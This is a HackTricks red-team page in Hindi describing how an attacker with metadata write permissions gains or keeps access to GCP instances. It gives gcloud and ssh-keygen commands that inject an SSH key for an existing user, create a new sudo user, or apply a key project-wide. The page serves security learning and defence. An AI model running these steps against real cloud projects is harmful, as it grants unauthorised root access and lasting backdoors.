GCP - Add Custom SSH Metadata

Reading time: 6 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

Metadata को संशोधित करना

एक इंस्टेंस पर मेटाडेटा का संशोधन महत्वपूर्ण सुरक्षा जोखिमों का कारण बन सकता है यदि एक हमलावर आवश्यक अनुमतियाँ प्राप्त कर लेता है।

कस्टम मेटाडेटा में SSH कुंजियों का समावेश

GCP पर, Linux सिस्टम अक्सर Python Linux Guest Environment for Google Compute Engine से स्क्रिप्ट चलाते हैं। इसका एक महत्वपूर्ण घटक accounts daemon है, जिसे नियमित रूप से इंस्टेंस मेटाडेटा एंडपॉइंट की अधिकृत SSH सार्वजनिक कुंजियों के लिए अपडेट की जांच करने के लिए डिज़ाइन किया गया है।

इसलिए, यदि एक हमलावर कस्टम मेटाडेटा को संशोधित कर सकता है, तो वह डेमन को एक नई सार्वजनिक कुंजी खोजने के लिए मजबूर कर सकता है, जिसे संसाधित किया जाएगा और स्थानीय सिस्टम में एकीकृत किया जाएगा। कुंजी को एक मौजूदा उपयोगकर्ता के ~/.ssh/authorized_keys फ़ाइल में जोड़ा जाएगा या sudo अनुमतियों के साथ एक नए उपयोगकर्ता को संभावित रूप से बनाया जाएगा, कुंजी के प्रारूप के आधार पर। और हमलावर होस्ट को समझौता करने में सक्षम होगा।

मौजूदा विशेषाधिकार प्राप्त उपयोगकर्ता के लिए SSH कुंजी जोड़ें

  1. इंस्टेंस पर मौजूदा SSH कुंजियों की जांच करें:
  • मौजूदा SSH कुंजियों को खोजने के लिए इंस्टेंस और इसके मेटाडेटा का वर्णन करने के लिए कमांड निष्पादित करें। आउटपुट में प्रासंगिक अनुभाग metadata के तहत होगा, विशेष रूप से ssh-keys कुंजी के तहत।
bash
gcloud compute instances describe [INSTANCE] --zone [ZONE]
  • SSH कुंजियों के प्रारूप पर ध्यान दें: उपयोगकर्ता नाम कुंजी से पहले आता है, जो एक कोलन द्वारा अलग किया जाता है।
  1. SSH कुंजी मेटाडेटा के लिए एक टेक्स्ट फ़ाइल तैयार करें:
  • उपयोगकर्ता नाम और उनकी संबंधित SSH कुंजियों के विवरण को meta.txt नामक टेक्स्ट फ़ाइल में सहेजें। यह नए कुंजियों को जोड़ते समय मौजूदा कुंजियों को बनाए रखने के लिए आवश्यक है।
  1. लक्षित उपयोगकर्ता के लिए एक नई SSH कुंजी उत्पन्न करें (alice इस उदाहरण में):
  • ssh-keygen कमांड का उपयोग करके एक नई SSH कुंजी उत्पन्न करें, यह सुनिश्चित करते हुए कि टिप्पणी फ़ील्ड (-C) लक्षित उपयोगकर्ता नाम से मेल खाता है।
bash
ssh-keygen -t rsa -C "alice" -f ./key -P "" && cat ./key.pub
  • नई सार्वजनिक कुंजी को meta.txt में जोड़ें, इंस्टेंस के मेटाडेटा में पाए गए प्रारूप की नकल करते हुए।
  1. इंस्टेंस की SSH कुंजी मेटाडेटा को अपडेट करें:
  • gcloud compute instances add-metadata कमांड का उपयोग करके इंस्टेंस पर अपडेट की गई SSH कुंजी मेटाडेटा लागू करें।
bash
gcloud compute instances add-metadata [INSTANCE] --metadata-from-file ssh-keys=meta.txt
  1. नई SSH कुंजी का उपयोग करके इंस्टेंस तक पहुँचें:
  • लक्षित उपयोगकर्ता (alice इस उदाहरण में) के संदर्भ में शेल तक पहुँचने के लिए नई कुंजी का उपयोग करके SSH के साथ इंस्टेंस से कनेक्ट करें।
bash
ssh -i ./key alice@localhost
sudo id

एक नया विशेषाधिकार प्राप्त उपयोगकर्ता बनाएं और SSH कुंजी जोड़ें

यदि कोई दिलचस्प उपयोगकर्ता नहीं मिलता है, तो एक नया उपयोगकर्ता बनाया जा सकता है जिसे sudo अनुमतियाँ दी जाएंगी:

bash
# define the new account username
NEWUSER="definitelynotahacker"

# create a key
ssh-keygen -t rsa -C "$NEWUSER" -f ./key -P ""

# create the input meta file
NEWKEY="$(cat ./key.pub)"
echo "$NEWUSER:$NEWKEY" > ./meta.txt

# update the instance metadata
gcloud compute instances add-metadata [INSTANCE_NAME] --metadata-from-file ssh-keys=meta.txt

# ssh to the new account
ssh -i ./key "$NEWUSER"@localhost

SSH keys at project level

SSH एक्सेस के दायरे को क्लाउड वातावरण में कई वर्चुअल मशीनों (VMs) तक बढ़ाना संभव है प्रोजेक्ट स्तर पर SSH कुंजी लागू करके। यह दृष्टिकोण प्रोजेक्ट के भीतर किसी भी इंस्टेंस को SSH एक्सेस की अनुमति देता है जिसने स्पष्ट रूप से प्रोजेक्ट-व्यापी SSH कुंजी को ब्लॉक नहीं किया है। यहाँ एक संक्षिप्त मार्गदर्शिका है:

  1. प्रोजेक्ट स्तर पर SSH कुंजी लागू करें:
  • gcloud compute project-info add-metadata कमांड का उपयोग करके meta.txt से SSH कुंजी को प्रोजेक्ट के मेटाडेटा में जोड़ें। यह क्रिया सुनिश्चित करती है कि SSH कुंजी प्रोजेक्ट में सभी VMs के बीच मान्यता प्राप्त हैं, जब तक कि किसी VM में "Block project-wide SSH keys" विकल्प सक्षम नहीं है।
bash
gcloud compute project-info add-metadata --metadata-from-file ssh-keys=meta.txt
  1. प्रोजेक्ट-व्यापी कुंजी का उपयोग करके इंस्टेंस में SSH करें:
  • प्रोजेक्ट-व्यापी SSH कुंजी के साथ, आप प्रोजेक्ट के भीतर किसी भी इंस्टेंस में SSH कर सकते हैं। जो इंस्टेंस प्रोजेक्ट-व्यापी कुंजी को ब्लॉक नहीं करते हैं, वे SSH कुंजी को स्वीकार करेंगे, जिससे एक्सेस मिलेगा।
  • किसी इंस्टेंस में SSH करने का एक सीधा तरीका gcloud compute ssh [INSTANCE] कमांड का उपयोग करना है। यह कमांड आपके वर्तमान उपयोगकर्ता नाम और प्रोजेक्ट स्तर पर सेट की गई SSH कुंजी का उपयोग करके एक्सेस करने का प्रयास करता है।

References

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें